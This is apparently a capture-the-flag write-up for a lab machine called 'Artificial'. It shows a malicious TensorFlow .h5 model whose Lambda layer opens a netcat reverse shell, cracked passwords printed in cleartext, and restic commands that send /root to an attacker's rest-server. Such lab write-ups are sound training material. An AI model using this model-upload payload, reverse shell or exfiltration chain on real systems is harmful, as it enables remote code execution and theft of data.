Artificial¶
Initial Scan¶
Port 22 is SSH, port 80 is HTTP.
Enumeration¶
The web application is a Flask app with user registration and login. It allows uploading .h5 TensorFlow model files.
The source code can be retrieved via the Dockerfile exposed at the endpoint. The Flask secret key is:
An SQLite database is present at /home/app/app/instance/users.db containing password hashes.
Exploitation¶
TensorFlow Model Upload RCE¶
We craft a malicious .h5 model that executes a reverse shell on upload:
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.117 4444 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Upload the model through the web interface. A reverse shell is received as www-data.
Cracking User Hashes¶
From users.db, we extract the hash for user gael:
Cracked with hashcat/John: mattp005numbertwo
SSH as gael¶
Privilege Escalation¶
gael is in the sysadm group, which grants access to /var/backups/backrest_backup.tar.gz. Download and extract it:
scp gael@artificial.htb:/var/backups/backrest_backup.tar.gz ./
tar xvf backrest_backup.tar.gz
cat .config/backrest/config.json
The config contains a bcrypt password hash for the backrest_root user:
Decoded from base64:
Cracked with John:
Backrest Web UI¶
Backrest runs on port 9898 (localhost). SSH port forward:
Access http://127.0.0.1:9898 and authenticate with backrest_root / !@#$%^.
Exfiltrating Root Files¶
Create a rest-server on your machine:
In the Backrest Web UI, create a repository pointing to rest:http://10.10.14.129:42601/artificial and run:
-r rest:http://10.10.14.129:42601/artificial init
-r rest:http://10.10.14.129:42601/artificial backup /root
On your machine, restore the backup:
sudo chown -R h0lm: artificial/
restic -r ./artificial/ snapshots
restic -r ./artificial/ restore 32c4fc60 --target ./tmp
Flags¶
user.txt: *** root.txt: ***